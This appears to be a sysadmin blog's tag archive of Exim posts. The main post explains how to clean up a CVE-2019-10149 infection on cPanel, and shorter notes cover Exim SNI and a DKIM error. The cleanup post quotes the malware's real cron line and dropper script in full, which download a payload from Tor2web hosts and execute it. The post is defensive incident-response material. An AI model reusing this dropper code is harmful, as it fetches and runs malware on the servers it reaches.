Tag Archives: exim

kthrotlds CVE-2019-10149 Exim/cPanel

If you found some strange name process like [kthrotlds] running on your server, it
means your server could be affected by CVE-2019-10149 Exim security exploit. Of course process name can be different, first of all you need to kill it:

pkill -9 -f kthrotlds
ps aux | grep kthrotlds # To check if process still exists

Its binnary file created in /usr/bin/ directory:
/usr/bin/[kthrotlds]
ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped
You need quarantine it or just remove.

You can find TCP connection on this process, so its not kernel procesas like it would like to pretend in your process list.

While fixing this issue my advice is to stop crond service: service crond stop

Than you should find all files which could be affected:

grep -r passwd /var/spool/cron*

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname “${tbin}”); curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi; wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “to ” && wget=”$f” && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk –retry 2 –connect-timeout 22 –max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk –retry 2 –connect-timeout 22 –max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk –retry 2 –connect-timeout 22 –max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=22 –timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=22 –timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=22 –timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp

You need to check /etc, /root, /usr/local/bin for bash/sh scripts with malware code, like:

#!/bin/sh
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
RHOST=”https://an7kmd2wp4xo7hpr”
TOR1=”.tor2web.su/”
TOR2=”.tor2web.io/”
TOR3=”.onion.sh/”
RPATH1=’src/ldm’
#LPATH=”${HOME-/tmp}/.cache/”
TIMEOUT=”75″
CTIMEOUT=”22″
COPTS=” -fsSLk –retry 2 –connect-timeout ${CTIMEOUT} –max-time ${TIMEOUT} ”
WOPTS=” –quiet –tries=2 –wait=5 –no-check-certificate –connect-timeout=${CTIMEOUT} –timeout=${TIMEOUT} ”
tbin=$(command -v passwd); bpath=$(dirname “${tbin}”)
curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi
wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “.wgetrc’-style command” && wget=”$f” && break; done; fi; fi
#CHKCURL=’curl=”curl “; wget=”wget “; if [ “$(whoami)” = “root” ]; then if [ $(command -v curl|wc -l) -eq 0 ]; then curl=$(ls /usr/bin|grep -i url|head -n 1); fi; if [ -z ${curl} ]; then curl=”echo “; fi; if [ $(command -v wget|wc -l) -eq 0 ]; then wget=$(ls /usr/bin|grep -i wget|head -n 1); fi; if [ -z ${wget} ]; then wget=”echo “; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; fi; ‘
CHKCURL=’tbin=$(command -v passwd); bpath=$(dirname “${tbin}”); curl=”curl”; if [ $(curl –version 2>/dev/null|grep “curl “|wc -l) -eq 0 ]; then curl=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “CURLOPT_VERBOSE” && curl=”$f” && break; done; fi; fi; wget=”wget”; if [ $(wget –version 2>/dev/null|grep “wgetrc “|wc -l) -eq 0 ]; then wget=”echo”; if [ “${bpath}” != “” ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q “to ” && wget=”$f” && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i “.onion.”|wc -l) -ne 0 ]; then echo “127.0.0.1 localhost” > /etc/hosts >/dev/null 2>&1; fi; ‘
LBIN8=”kthrotlds”
null=’ >/dev/null 2>&1′

If its cPanel server, you need to check Exim version like this:

whmapi1 installed_versions packages=1|grep exim

exim: 4.91-4
– exim-4.91-4.cp1170.x86_64

or simple exim –version
Exim version 4.91 #1 built 06-Jun-2019 12:52:02

To patch WHM and Exsim, if you have older versions like v76 or v70. To check your WHM version:

whmapi1 installed_versions packages=1|grep whm
cpanel_and_whm: 11.78.0.27

It means 78.0.27

or
cpanel_and_whm: 11.80.0.14

It means 80.0.14

vi /etc/cpupdate.conf
CPANEL=11.76
RPMUP=daily
SARULESUP=daily
STAGING_DIR=/usr/local/cpanel
UPDATES=daily

Than:
/scripts/upcp

Than back:
vi /etc/cpupdate.conf
CPANEL=release
RPMUP=daily
SARULESUP=daily
STAGING_DIR=/usr/local/cpanel
UPDATES=daily

P.s. Also you need to check /root/.ssh/authorized_keys, /etc/cron.d, /etc/cron.daily, /etc/cron.weekly, /etc/cron.monthly and etc.

You can all modified file during last 5 days:
find /etc/ -mtime -5 -print

This malware script removes all your previous cron tasks, so you need to restore them from your backups and than enable cron service again.

sni for exim directadmin

It should fix Outlook errors like Cannot verify Security Certificate or Internet security warning
Common name: localhost issue


cd /usr/local/directadmin
echo mail_sni=1 >> conf/directadmin.conf
service directadmin restart
cd custombuild
./build update
./build set eximconf yes
./build set eximconf_release 4.5
./build set dovecot_conf yes
./build exim_conf
./build dovecot_conf

R=dkim_lookuphost T=dkim_remote_smtp defer (-46) H=hostname [xx.xx.xx.xx]: SMTP error from remote mail server after end of data: 451 Local Error

Exim error: R=dkim_lookuphost T=dkim_remote_smtp defer (-46) H=hostname [xx.xx.xx.xx]: SMTP error from remote mail server after end of data: 451 Local Error or something like this: dkim_lookuphost T=dkim_remote_smtp defer (111): Connection refused

If you are getting this error on cPanel server, you should try disable dkim on your existing users accounts. To do this you can in your WHM panel or using API.